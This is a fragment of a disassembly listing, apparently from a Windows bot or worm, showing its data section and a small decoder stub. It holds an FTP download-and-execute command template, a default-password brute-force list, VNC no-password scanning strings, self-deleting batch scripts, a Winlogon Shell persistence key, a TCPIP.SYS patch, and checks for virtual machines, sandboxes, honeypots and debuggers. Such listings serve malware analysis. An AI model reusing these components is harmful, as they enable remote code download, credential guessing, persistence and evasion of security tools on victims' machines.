		dd 0DB83ADF7h, 0E93D5A68h
		dd 948140F7h, 0F64C261Ch, 94692934h, 411520F7h,	7602D4F7h
		dd 0BCF46B2Eh, 0D4A20068h, 0D4082471h, 3320F46Ah, 43B7D4B7h
		dd 500061AFh, 1E39F62Eh, 97244546h, 14214F74h, 0BF8B8840h
		dd 4D95FC1Dh, 96B591AFh, 70F4DDD3h, 66A02F45h, 0BFBC09ECh
		dd 3BD9785h, 7FAC6DD0h,	31CB8504h, 96EB27B3h, 55FD3941h
		dd 0DA2547E6h, 0ABCA0A9Ah, 28507825h, 530429F4h, 0A2C86DAh
		dd 0E9B66DFBh, 68DC1462h, 0D7486900h, 680EC0A4h, 27A18DEEh
		dd 4F3FFEA2h, 0E887AD8Ch, 0B58CE006h, 7AF4D6B6h, 0AACE1E7Ch
		dd 0D3375FECh, 0CE78A399h, 406B2A42h, 20FE9E35h, 0D9F385B9h
		dd 0EE39D7ABh, 3B124E8Bh, 1DC9FAF7h, 4B6D1856h,	26A36631h
		dd 0EAE397B2h, 3A6EFA74h, 0DD5B4332h, 6841E7F7h, 0CA7820FBh
		dd 0FB0AF54Eh, 0D8FEB397h, 454056ACh, 0BA489527h, 55533A3Ah
		dd 20838D87h, 0FE6BA9B7h, 0D096954Bh, 55A867BCh, 0A1159A58h
		dd 0CCA92963h, 99E1DB33h, 0A62A4A56h, 3F3125F9h, 5EF47E1Ch
		dd 9029317Ch, 0FDF8E802h, 4272F70h, 80BB155Ch, 5282CE3h
		dd 95C11548h, 0E4C66D22h, 48C1133Fh, 0C70F86DCh, 7F9C9EEh
		dd 41041F0Fh, 404779A4h, 5D886E17h, 325F51EBh, 0D59BC0D1h
		dd 0F2BCC18Fh, 41113564h, 257B7834h, 602A9C60h,	0DFF8E8A3h
		dd 1F636C1Bh, 0E12B4C2h, 2E1329Eh, 0AF664FD1h, 0CAD18115h
		dd 6B2395E0h, 333E92E1h, 3B240B62h, 0EEBEB922h,	85B2A20Eh
		dd 0E6BA0D99h, 0DE720C8Ch, 2DA2F728h, 0D0127845h, 95B794FDh
		dd 647D0862h, 0E7CCF5F0h, 5449A36Fh, 877D48FAh,	0C39DFD27h
		dd 0F33E8D1Eh, 0A476341h, 992EFF74h, 3A6F6EABh,	0F4F8FD37h
		dd 0A812DC60h, 0A1EBDDF8h, 991BE14Ch, 0DB6E6B0Dh, 0C67B5510h
		dd 6D672C37h, 2765D43Bh, 0DCD0E804h, 0F1290DC7h, 0CC00FFA3h
		dd 0B5390F92h, 690FED0Bh, 667B9FFBh, 0CEDB7D9Ch, 0A091CF0Bh
		dd 0D9155EA3h, 0BB132F88h, 515BAD24h, 7B9479BFh, 763BD6EBh
		dd 37392EB3h, 0CC115979h, 8026E297h, 0F42E312Dh, 6842ADA7h
		dd 0C66A2B3Bh, 12754CCCh, 782EF11Ch, 6A124237h,	0B79251E7h
		dd 6A1BBE6h, 4BFB6350h,	1A6B1018h, 11CAEDFAh, 3D25BDD8h
		dd 0E2E1C3C9h, 44421659h, 0A121386h, 0D90CEC6Eh, 0D5ABEA2Ah
		dd 64AF674Eh, 0DA86A85Fh, 0BEBFE988h, 64E4C3FEh, 9DBC8057h
		dd 0F0F7C086h, 60787BF8h, 6003604Dh, 0D1FD8346h, 0F6381FB0h
		dd 7745AE04h, 0D736FCCCh, 83426B33h, 0F01EAB71h, 0B0804187h
		dd 3C005E5Fh, 77A057BEh, 0BDE8AE24h, 55464299h,	0BF582E61h
		dd 4E58F48Fh, 0F2DDFDA2h, 0F474EF38h, 8789BDC2h, 5366F9C3h
		dd 0C8B38E74h, 0B475F255h, 46FCD9B9h, 7AEB2661h, 8B1DDF84h
		dd 846A0E79h, 915F95E2h, 466E598Eh, 20B45770h, 8CD55591h
		dd 0C902DE4Ch, 0B90BACE1h, 0BB8205D0h, 11A86248h, 7574A99Eh
		dd 0B77F19B6h, 0E0A9DC09h, 662D09A1h, 0C4324633h, 0E85A1F02h
		dd 9F0BE8Ch, 4A99A025h,	1D6EFE10h, 1AB93D1Dh, 0BA5A4DFh
		dd 0A186F20Fh, 2868F169h, 0DCB7DA83h, 573906FEh, 0A1E2CE9Bh
		dd 4FCD7F52h, 50115E01h, 0A70683FAh, 0A002B5C4h, 0DE6D027h
		dd 9AF88C27h, 773F8641h, 0C3604C06h, 61A806B5h,	0F0177A28h
		dd 0C0F586E0h, 6058AAh,	30DC7D62h, 11E69ED7h, 2338EA63h
		dd 53C2DD94h, 0C2C21634h, 0BBCBEE56h, 90BCB6DEh, 0EBFC7DA1h
		dd 0CE591D76h, 6F05E409h, 4B7C0188h, 39720A3Dh,	7C927C24h
		dd 86E3725Fh, 724D9DB9h, 1AC15BB4h, 0D39EB8FCh,	0ED545578h
		dd 8FCA5B5h, 0D83D7CD3h, 4DAD0FC4h, 1E50EF5Eh, 0B161E6F8h
		dd 0A28514D9h, 6C51133Ch, 6FD5C7E7h, 56E14EC4h,	362ABFCEh
		dd 0DDC6C837h, 0D79A3234h, 92638212h, 670EFA8Eh, 406000E0h
		dd 3A39CE37h, 0D3FAF5CFh, 0ABC27737h, 5AC52D1Bh, 5CB0679Eh
		dd 4FA33742h, 0D3822740h, 99BC9BBEh, 0D5118E9Dh, 0BF0F7315h
		dd 0D62D1C7Eh, 0C700C47Bh, 0B78C1B6Bh, 21A19045h, 0B26EB1BEh
		dd 6A366EB4h, 5748AB2Fh, 0BC946E79h, 0C6A376D2h, 6549C2C8h
		dd 530FF8EEh, 468DDE7Dh, 0D5730A1Dh, 4CD04DC6h,	2939BBDBh
		dd 0A9BA4650h, 0AC9526E8h, 0BE5EE304h, 0A1FAD5F0h, 6A2D519Ah
		dd 63EF8CE2h, 9A86EE22h, 0C089C2B8h, 43242EF6h,	0A51E03AAh
		dd 9CF2D0A4h, 83C061BAh, 9BE96A4Dh, 8FE51550h, 0BA645BD6h
		dd 2826A2F9h, 0A73A3AE1h, 4BA99586h, 0EF5562E9h, 0C72FEFD3h
		dd 0F752F7DAh, 3F046F69h, 77FA0A59h, 80E4A915h,	87B08601h
		dd 9B09E6ADh, 3B3EE593h, 0E990FD5Ah, 9E34D797h,	2CF0B7D9h
		dd 22B8B51h, 96D5AC3Ah,	17DA67Dh, 0D1CF3ED6h, 7C7D2D28h
		dd 1F9F25CFh, 0ADF2B89Bh, 5AD6B472h, 5A88F54Ch,	0E029AC71h
		dd 0E019A5E6h, 47B0ACFDh, 0ED93FA9Bh, 0E8D3C48Dh, 283B57CCh
		dd 0F8D56629h, 79132E28h, 785F0191h, 0ED756055h, 0F7960E44h
		dd 0E3D35E8Ch, 15056DD4h, 88F46DBAh, 3A16125h, 564F0BDh
		dd 0C3EB9E15h, 3C9057A2h, 97271AECh, 0A93A072Ah, 1B3F6D9Bh
		dd 1E6321F5h, 0F59C66FBh, 26DCF319h, 7533D928h,	0B155FDF5h
		dd 3563482h, 8ABA3CBBh,	28517711h, 0C20AD9F8h, 0ABCC5167h
		dd 0CCAD925Fh, 4DE81751h, 3830DC8Eh, 379D5862h,	9320F991h
		dd 0EA7A90C2h, 0FB3E7BCEh, 5121CE64h, 774FBE32h, 0A8B6E37Eh
		dd 0C3293D46h, 48DE5369h, 6413E680h, 0A2AE0810h, 0DD6DB224h
		dd 69852DFDh, 9072166h,	0B39A460Ah, 6445C0DDh, 586CDECFh
		dd 1C20C8AEh, 5BBEF7DDh, 1B588D40h, 0CCD2017Fh,	6BB4E3BBh
		dd 0DDA26A7Eh, 3A59FF45h, 3E350A44h, 0BCB4CDD5h, 72EACEA8h
		dd 0FA6484BBh, 8D6612AEh, 0BF3C6F47h, 0D29BE463h, 542F5D9Eh
		dd 0AEC2771Bh, 0F64E6370h, 740E0D8Dh, 0E75B1357h, 0F8721671h
		dd 0AF537D5Dh, 4040CB08h, 4EB4E2CCh, 34D2466Ah,	115AF84h
		dd 0E1B00428h, 95983A1Dh, 6B89FB4h, 0CE6EA048h,	6F3F3B82h
		dd 3520AB82h, 11A1D4Bh,	277227F8h, 611560B1h, 0E7933FDCh
		dd 0BB3A792Bh, 344525BDh, 0A08839E1h, 51CE794Bh, 2F32C9B7h
		dd 0A01FBAC9h, 0E01CC87Eh, 0BCC7D1F6h, 0CF0111C3h, 0A1E8AAC7h
		dd 1A908749h, 0D44FBD9Ah, 0D0DADECBh, 0D50ADA38h, 339C32Ah
		dd 0C6913667h, 8DF9317Ch, 0E0B12B4Fh, 0F79E59B7h, 43F5BB3Ah
		dd 0F2D519FFh, 27D9459Ch, 0BF97222Ch, 15E6FC2Ah, 0F91FC71h
		dd 9B941525h, 0FAE59361h, 0CEB69CEBh, 0C2A86459h, 12BAA8D1h
		dd 0B6C1075Eh, 0E3056A0Ch, 10D25065h, 0CB03A442h, 0E0EC6E0Eh
		dd 1698DB3Bh, 4C98A0BEh, 3278E964h, 9F1F9532h, 0E0D392DFh
		dd 0D3A0342Bh, 8971F21Eh, 1B0A7441h, 4BA3348Ch,	0C5BE7120h
		dd 0C37632D8h, 0DF359F8Dh, 9B992F2Eh, 0E60B6F47h, 0FE3F11Dh
		dd 0E54CDA54h, 1EDAD891h, 0CE6279CFh, 0CD3E7E6Fh, 1618B166h
		dd 0FD2C1D05h, 848FD2C5h, 0F6FB2299h, 0F523F357h, 0A6327623h
		dd 93A83531h, 56CCCD02h, 0ACF08162h, 5A75EBB5h,	6E163697h
		dd 88D273CCh, 0DE966292h, 81B949D0h, 4C50901Bh,	71C65614h
		dd 0E6C6C7BDh, 327A140Ah, 45E1D006h, 0C3F27B9Ah, 0C9AA53FDh
		dd 62A80F00h, 0BB25BFE2h, 35BDD2F6h, 71126905h,	0B2040222h
		dd 0B6CBCF7Ch, 0CD769C2Bh, 53113EC0h, 1640E3D3h, 38ABBD60h
		dd 2547ADF0h, 0BA38209Ch, 0F746CE76h, 77AFA1C5h, 20756060h
		dd 85CBFE4Eh, 8AE88DD8h, 7AAAF9B0h, 4CF9AA7Eh, 1948C25Ch
		dd 2FB8A8Ch, 1C36AE4h, 0D6EBE1F9h, 90D4F869h, 0A65CDEA0h
		dd 3F09252Dh, 0C208E69Fh, 0B74E6132h, 0CE77E25Bh, 578FDFE3h
		dd 3AC372E6h, 0
		dd 0E7h	dup(0)
off_448C50	dd offset a_0123456789abc ; DATA XREF: sub_41E8B1:loc_41E8B3r
					; "./0123456789abcdefghijklmnopqrstuvwxyzA"...
		align 8
dword_448C58	dd 80h,	0Eh dup(0)		dd 80000000h
a_0123456789abc	db './0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',0
					; DATA XREF: .text:off_448C50o
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_41C143+66o
		align 4
aSThreadsList	db '%s Threads List:',0 ; DATA XREF: sub_41C143+39o
		align 4
a02x02x02x02x02	db '%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x',0
					; DATA XREF: sub_41CDE4+64o
		align 4
aSDoneToS	db '%s done to %s',0    ; DATA XREF: sub_41EA1B+1BFo
		align 4
aSErrorSendin_0	db '%s Error sending to %s.',0 ; DATA XREF: sub_41EA1B+C7o
aSoftwareMicr_3	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
					; DATA XREF: sub_41EF5E+25o
		align 4
aShell_0	db 'Shell',0            ; DATA XREF: sub_41EF5E+20o
		align 8
a@echoOffRepe_0	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41F331:loc_41F409o
		db ':Repeat',0Dh,0Ah
		db 'del "%s">nul',0Dh,0Ah
		db 'if exist "%s" goto Repeat',0Dh,0Ah
		db 'del "%%0"',0Dh,0Ah,0
		align 8
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41F331+D1o
		db ':Repeat',0Dh,0Ah
		db 'del "%s">nul',0Dh,0Ah
		db 'ping 0.0.0.0>nul',0Dh,0Ah
		db 'if exist "%s" goto Repeat',0Dh,0Ah
		db 'del "%%0"',0Dh,0Ah,0
		align 4
aSRemovemeIIII_	db '%s\removeMe%i%i%i%i.bat',0 ; DATA XREF: sub_41F331+73o
aExplorer_exe	db 'Explorer.exe',0     ; DATA XREF: sub_41F6B4+93o
		align 4
aImail8_001531N	db '(IMail 8.00 153-1) NT-ESMTP Server X1',0 ; DATA XREF: sub_41FA42+64o
		align 4
aNepenthes	db 'nepenthes',0        ; DATA XREF: sub_41FA42+5Do
		align 10h
aCurrentuser	db 'currentuser',0      ; DATA XREF: sub_41FA42+56o
aVmware		db 'vmware',0           ; DATA XREF: sub_41FA42+4Fo
		align 4
aHoneymule	db 'HoneyMule',0        ; DATA XREF: sub_41FA42+48o
		align 10h
aHoneyd		db 'honeyd',0           ; DATA XREF: sub_41FA42+41o
		align 4
aHoneyc		db 'honeyc',0           ; DATA XREF: sub_41FA42+3Ao
		align 10h
aHoney		db 'honey',0            ; DATA XREF: sub_41FA42+33o
		align 4
aSnort		db 'snort',0            ; DATA XREF: sub_41FA42+2Co
		align 10h
aSandbox	db 'sandbox',0          ; DATA XREF: sub_41FA42+25o
aRoo		db 'roo',0              ; DATA XREF: sub_41FA42+1Eo
aTu4nh09smcg1hc	db 'TU-4NH09SMCG1HC',0  ; DATA XREF: sub_41FA42+15o
aInsidetm	db '\InsideTm\',0       ; DATA XREF: sub_41FB18+23o
		align 4
aShowtray	db 'ShowTray',0         ; DATA XREF: sub_41FB50+101o
		align 4
aInstallpath	db 'InstallPath',0      ; DATA XREF: sub_41FB50+ECo
aSoftwareVmware	db 'SOFTWARE\VMware, Inc.\VMware Tools',0 ; DATA XREF: sub_41FB50+E0o
		align 4
aIsdebuggerpres	db 'IsDebuggerPresent',0 ; DATA XREF: sub_41FB50:loc_41FB89o
		align 4
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_41FB50+1Eo
		align 4
a_Ntice		db '\\.\NTICE',0        ; DATA XREF: sub_41FCC3+12o
		align 4
a2_0:					; DATA XREF: sub_41FDB6+35o
		unicode	0, <2>,0
aS_book		db '%s.book',0          ; DATA XREF: sub_41FE12+12o
aSfc_os_dll	db 'sfc_os.dll',0       ; DATA XREF: sub_41FE4C+24o
		align 4
aSTcpip_sysFixe	db '%s TCPIP.SYS fixed, version %d.',0 ; DATA XREF: sub_41FE93+551o
aSCannotOpenTcp	db '%s Cannot open TCPIP.SYS, version %d.',0 ; DATA XREF: sub_41FE93+1EBo
		align 4
off_448FE4	dd offset word_622B72	; DATA XREF: sub_41FE93+1C9o
dword_448FE8	dd 99h		dword_448FEC	dd 0E5h		dword_448FF0	dd 5		dword_448FF4	dd 0FCh		dword_448FF8	dd 6		dword_448FFC	dd 16h		dword_449000	dd 0C8h		dword_449004	dd 3		dword_449008	dd 0E8h		aSTcpip_sysVers	db '%s TCPIP.SYS version is wrong.',0 ; DATA XREF: sub_41FE93+94o
		align 4
aSDriversTcpip_	db '%s\drivers\tcpip.sys',0 ; DATA XREF: sub_41FE93+5Eo
		align 4
aSFailedToConne	db '%s Failed to connect to HTTP server.',0 ; DATA XREF: sub_42042B+1DEo
		align 4
aSCouldNotOpenA	db '%s Could not open a connection.',0 ; DATA XREF: sub_42042B+1D2o
aSInvalidUrl_	db '%s  Invalid URL.',0 ; DATA XREF: sub_42042B+1BDo
		align 10h
aSFailedToGetRe	db '%s Failed to get requested URL from HTTP server.',0
					; DATA XREF: sub_42042B:loc_4205D6o
		align 4
aSUrlVisited_	db '%s URL visited.',0  ; DATA XREF: sub_42042B+1A4o
asc_4490E4	db '*/*',0              ; DATA XREF: sub_42042B+48o
off_4490E8	dd offset a123		; DATA XREF: .text:00421415r
					; .text:00421421o
					; "123"
		dd offset a1234		; "1234"
		dd offset aLetmein	; "letmein"
		dd offset aAdmin_0	; "admin"
		dd offset a1234567	; "1234567"
		dd offset aPassword	; "password"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset off_43CF04
		dd offset aPass_0	; "pass"
		dd offset aMaster	; "master"
		dd offset aQwerty	; "qwerty"
		dd offset a12345678	; "12345678"
		dd offset a654321	; "654321"
		dd 0
		dd 66B5217h
aNxSystemrootSy	db '#NX',7,'%systemroot%\system32\cmd.exe',0
		align 4
aExit		db 'exit',0
		align 4
word_449154	dw 1			; DATA XREF: sub_42075C+24r
					; .text:004208B0r
		align 4
word_449158	dw 4			; DATA XREF: sub_42075C+10r
		align 4
dword_44915C	dd 6325h						; sub_420BEE+3B4o ...
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> i &echo user %s %s >> i &echo get %s >>'
					; DATA XREF: .text:00420AA6o
		db ' i &echo quit >> i &ftp -nv -s:i &%s &exit &exit',0
		align 4
aSDDDD_exe	db '%s%d%d%d%d.exe',0   ; DATA XREF: .text:00420A48o
		align 4


loc_4491E4:				; DATA XREF: .text:004208E5o
					; sub_420BEE+2Co
		jmp	ebx
; ---------------------------------------------------------------------------
		align 4
dword_4491E8	dd 0DFFh						; sub_420BEE+21o
dword_4491EC	dd 0EBFFh						; sub_420BEE+10o
dword_4491F0	dd 201h		dword_4491F4	dd 20424652h, 2E333030h, 0A383030h, 0aVncD_DSS	db 'VNC%d.%d: %s - %s',0 ; DATA XREF: sub_420BEE+60Do
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> i &echo user %s %s >> i &echo get %s >>'
					; DATA XREF: sub_420BEE+384o
					; sub_420BEE+744o
		db ' i &echo quit >> i &ftp -nv -s:i &%s &exit',0
aVncD_DSNopass	db 'VNC%d.%d: %s - (NoPass)',0 ; DATA XREF: sub_420BEE+256o
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: sub_420BEE+CFo
		align 10h
aFb		db 'f',7,0           ; DATA XREF: sub_421589+96o
		align 4
dword_4492B8	dd 129F74h, 0	dword_4492C0	dd 127D78h, 0	
; =============== S U B	R O U T	I N E =======================================



sub_4492C8	proc near		; DATA XREF: sub_421589+C8o

; FUNCTION CHUNK AT 004492CE SIZE 00000043 BYTES

		pusha
		jmp	short loc_4492CE
sub_4492C8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4492CB	proc near		; CODE XREF: sub_4492C8:loc_4492CEp
		pop	ebx
		push	ebx
		retn
sub_4492CB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492C8


loc_4492CE:				; CODE XREF: sub_4492C8+1j
		call	sub_4492CB
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx


loc_4492DB:				; CODE XREF: sub_4492C8+3Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_4492DB
		popa


loc_449307:				; DATA XREF: sub_421589+A7r
		add	[ebx+31h], al


loc_44930A:				; DATA XREF: sub_421589+A1r
		mov	ebp, 7FC77h


loc_44930F:				; DATA XREF: sub_421589:loc_42186Fr
					; sub_421589+310r ...
		add	[ecx], al
; END OF FUNCTION CHUNK	FOR sub_4492C8
; ---------------------------------------------------------------------------
		db 3 dup(0)
		db 43h
; ---------------------------------------------------------------------------


loc_449315:				; CODE XREF: .text:00449317j
		xor	eax, eax
		ja	short loc_449315
		pop	es
; ---------------------------------------------------------------------------
		dw 0
		dd 1, 77BB1F89h, 7FCh, 1, 77C01F89h, 7FCh, 1, 655B4F02h
		dd 7E7h, 0
dword_449344	dd 158h		dword_449348	dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h,	0
					; DATA XREF: sub_421589+24Co
dword_44935C	dd 65706970h, 736B775Ch, 637673hdword_449368	dd 73255C5Ch, 5Ch					; sub_421589+1DEo
off_449370	dd offset off_42F434	; DATA XREF: .text:off_42FBF0o
					; .text:0042FC34o ...
		align 8
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
dword_449390	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_4493A0	dd offset off_42F434	; DATA XREF: .text:off_42FCC8o
					; .text:0042FD04o ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
aUs		db 'u',0
		align 4
aSs		db 's',0
		align 4
off_4493C8	dd offset sub_42346C	; DATA XREF: sub_4284ACr
		dd offset nullsub_2
		dd offset nullsub_2
		align 10h
dword_4493E0	dd 19930520h, 3	dup(0)					; sub_423A4E+2o
		dd offset sub_429B43
		align 10h
off_449400	dd offset off_42F434	; DATA XREF: .text:off_42FD40o
					; .text:0042FD7Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
dword_449420	dd 1B3Fh			align 10h
off_449430	dd offset dword_631B00	; DATA XREF: sub_4245ECo
					; sub_424780+55o ...
		dd 0
		dd offset dword_631B00
		dd 101h
dword_449440	dd 2 dup(0)			dd 1000h, 0
dword_449450	dd 3 dup(0)						; sub_425014+50o ...
		dd 2, 1, 3 dup(0)
dword_449470	dd 3 dup(0)						; sub_425014+58o ...
		dd 2 dup(2), 7 dup(0)
dword_4494A0	dd 7Ch dup(0)	dword_449690	dd 8 dup(0)						; sub_42488E+Do
off_4496B0	dd offset sub_4284EA	; DATA XREF: sub_424780+69o
					; sub_424FCB+1Cr
dword_4496B4	dd 2							; sub_42B69E+46r ...
off_4496B8	dd offset aNull_0	; DATA XREF: sub_42512C:loc_425490r
					; sub_42512C+457r
					; "(null)"
off_4496BC	dd offset aNull		; DATA XREF: sub_42512C+259r
					; "(null)"
dword_4496C0	dd 0Ch							; sub_425936+28r ...
dword_4496C4	dd 0D2D0920h, 5Dhdword_4496CC	dd 5Dh		dword_4496D0	dd 1		dword_4496D4	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
off_449838	dd offset word_449842	; DATA XREF: sub_4228B3:loc_4228E3r
					; sub_4228B3:loc_4229A0r ...
		dd offset word_449842
		db 2 dup(0)
word_449842	dw 20h			; DATA XREF: sub_42D61D+18r
					; .text:off_449838o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_449A44	dd 1							; sub_4228B3:loc_422988r ...
byte_449A48	db 2Eh			; DATA XREF: sub_425A04:loc_425CF8r
					; sub_425A04+311r ...
		align 4
		dd 1
dword_449A50	dd 0FFFFFFFFh, 0A00h, 7	dup(0)					; sub_426826:loc_4268AAo
		dd 10h
off_449A78	dd offset off_449A78	; DATA XREF: sub_427D40+Do
					; sub_427D40+69o ...
off_449A7C	dd offset off_449A78	; DATA XREF: sub_427D40:loc_427DC0r
					; sub_427D40+89w ...
		dd offset dword_449A90
		dd offset dword_449A90
dword_449A88	dd 0FFFFFFFFh						; sub_427E84:loc_427ED1w
		dd 0FFFFFFFFh
dword_449A90	dd 0F0h, 0F1h, 800h dup(0)					; .text:00449A84o
off_44BA98	dd offset off_449A78	; DATA XREF: sub_427E84+15r
					; sub_427E84+20w ...
dword_44BA9C	dd 1E0h							; sub_423F63+A7r ...
dword_44BAA0	dd 0							; sub_428497+6r
off_44BAA4	dd offset dword_631408	; DATA XREF: sub_42840D+1Fr
		dd 7 dup(0)
off_44BAC4	dd offset dword_631438	; DATA XREF: sub_42840D+17r
		dd 3 dup(0)
off_44BAD4	dd offset dword_631450	; DATA XREF: sub_42840D+Fr
		dd 3 dup(0)
off_44BAE4	dd offset dword_631420	; DATA XREF: sub_42840D+7r
		dd 7 dup(0)
		dd 0AF2798h, 16h dup(0)
off_44BB60	dd offset sub_428E12	; DATA XREF: sub_423484+Fw
					; sub_42512C+3AAr
off_44BB64	dd offset sub_428ABC	; DATA XREF: sub_423484+5w
					; sub_42512C+3E2r
off_44BB68	dd offset sub_428B22	; DATA XREF: sub_423484+14w
					; sub_425A04+430r
off_44BB6C	dd offset sub_428A62	; DATA XREF: sub_423484+1Ew
					; sub_42512C+3CBr
off_44BB70	dd offset sub_428B0A	; DATA XREF: sub_423484+28w
off_44BB74	dd offset sub_428E12	; DATA XREF: sub_423484+32w
off_44BB78	dd offset a_cmd		; DATA XREF: sub_428FED+109o
					; ".cmd"
		dd offset a_bat		; ".bat"
		dd offset a_exe		; ".exe"
off_44BB84	dd offset a_com		; DATA XREF: sub_428FED+E7o
					; ".com"
		dd offset sub_429B43
		align 10h
off_44BB90	dd offset sub_429A8C	; DATA XREF: sub_429AED+29r
		dd 2 dup(43h), 20h dup(0)
		dd 43h,	20h dup(0)
dword_44BCA0	dd 14h		off_44BCA4	dd offset aExp		; DATA XREF: sub_42A4F3:loc_42A510r
					; "exp"
		dd 1Dh,	42F6ECh, 1Ah, 42F6E8h, 1Bh, 42F6E0h, 1Fh, 42F6D8h
		dd 13h,	42F6D0h, 21h, 42F6C8h, 0Eh, 42F6C0h, 0Dh, 42F6B8h
		dd 0Fh,	42F6B0h, 10h, 42F6A8h, 5, 42F6A0h, 1Eh,	42F69Ch
		dd 12h,	42F698h, 20h, 42F694h, 0Ch, 42F68Ch, 0Bh, 42F684h
		dd 15h,	42F67Ch, 1Ch, 42F674h, 19h, 42F66Ch, 11h, 42F664h
		dd 18h,	42F65Ch, 16h, 42F654h, 17h, 42F64Ch, 22h, 42F648h
		dd 23h,	42F644h, 24h, 42F640h
dbl_44BD78	dq 1.797693134862316e308 ; DATA	XREF: sub_42A22C+B7r
					; sub_42A22C:loc_42A313r ...
		dd 0
		dd 0FFF80000h
dbl_44BD88	dq 1.797693134862316e308 ; DATA	XREF: sub_42A22C+92r
					; sub_42A22C:loc_42A2EBr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_44BDA0	dt 2.3562723457267347066e313 ; DATA XREF: sub_42A6DB+Dr
					; sub_42A6DB+1Fr
		align 4
tbyte_44BDAC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42A6DB+31r
		align 4
byte_44BDB8	db 1			; DATA XREF: sub_42A95E+EDr
		db 2, 4, 8
		align 10h
dword_44BDC0	dd 3A4h		dword_44BDC4	dd 82798260h, 21h, 0dword_44BDD0	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_44BEB0	dd 0C0000005h, 0Bh, 0					; sub_42A95E+45o
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_44BF28	dd 3							; sub_42B05D+86r ...
dword_44BF2C	dd 7							; sub_42B05D+8Cr ...
		dd 78h
dword_44BF34	dd 0Ah							; sub_42D97E+4r
dword_44BF38	dd 2							; sub_42B69E+28r
off_44BF3C	dd offset aR6002FloatingP ; DATA XREF: sub_42B69E+FCr
					; sub_42B69E+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 42F928h, 9, 42F8FCh, 0Ah,	42F8D8h, 10h, 42F8ACh
		dd 11h,	42F87Ch, 12h, 42F858h, 13h, 42F82Ch, 18h, 42F7F4h
		dd 19h,	42F7CCh, 1Ah, 42F794h, 1Bh, 42F75Ch, 1Ch, 42F734h
		dd 78h,	42F724h, 79h, 42F714h, 7Ah, 42F704h, 0FCh, 438858h
		dd 0FFh, 42F6F4h
dword_44BFC8	dd 2 dup(0)	dword_44BFD0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_44BFE8	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh, 2, 3 dup(0)dword_44C010	dd 7080h						; sub_42D078+75w ...
dword_44C014	dd 1							; sub_42D078+A2w ...
dword_44C018	dd 0FFFFF1F0h						; sub_42D078+ABw ...
off_44C01C	dd offset dword_545350	; DATA XREF: .text:off_44C09Co
		dd 0Fh dup(0)
off_44C05C	dd offset dword_544450	; DATA XREF: .text:off_44C0A0o
		dd 0Fh dup(0)
